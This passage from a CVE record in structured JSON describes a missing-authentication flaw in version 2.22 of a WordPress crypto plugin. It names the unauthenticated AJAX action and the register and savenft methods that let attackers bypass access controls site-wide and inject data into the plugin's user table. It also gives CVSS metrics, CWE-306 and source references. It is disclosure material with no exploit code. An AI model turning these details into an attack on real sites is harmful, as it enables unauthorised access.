This is due to the plugin registering an unauthenticated AJAX action (wp_ajax_nopriv_crypto_connect_ajax_process) that allows calling the register and savenft methods with only a publicly-available nonce check and no wallet signature verification. This makes it possible for unauthenticated attackers to set a site-wide global authentication state via a single transient, bypassing all access controls for ALL visitors to the site. The impact is complete bypass of [crypto-block] shortcode restrictions and page-level access controls, affecting all site visitors for one hour, plus the ability to inject arbitrary data into the plugin's custom_users table."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/crypto/tags/2.22/includes/class-crypto-user.php#L95", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/crypto/tags/2.22/includes/class-crypto_connect_ajax_register.php#L65", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/crypto/tags/2.22/includes/class-crypto_connect_ajax_register.php#L9", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/crypto/tags/2.22/includes/class-crypto_connect_ajax_register.php#L95", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f062ef94-e558-478e-bbfd-06616aeb566b?source=cve", "source": "[email protected]"}]}}
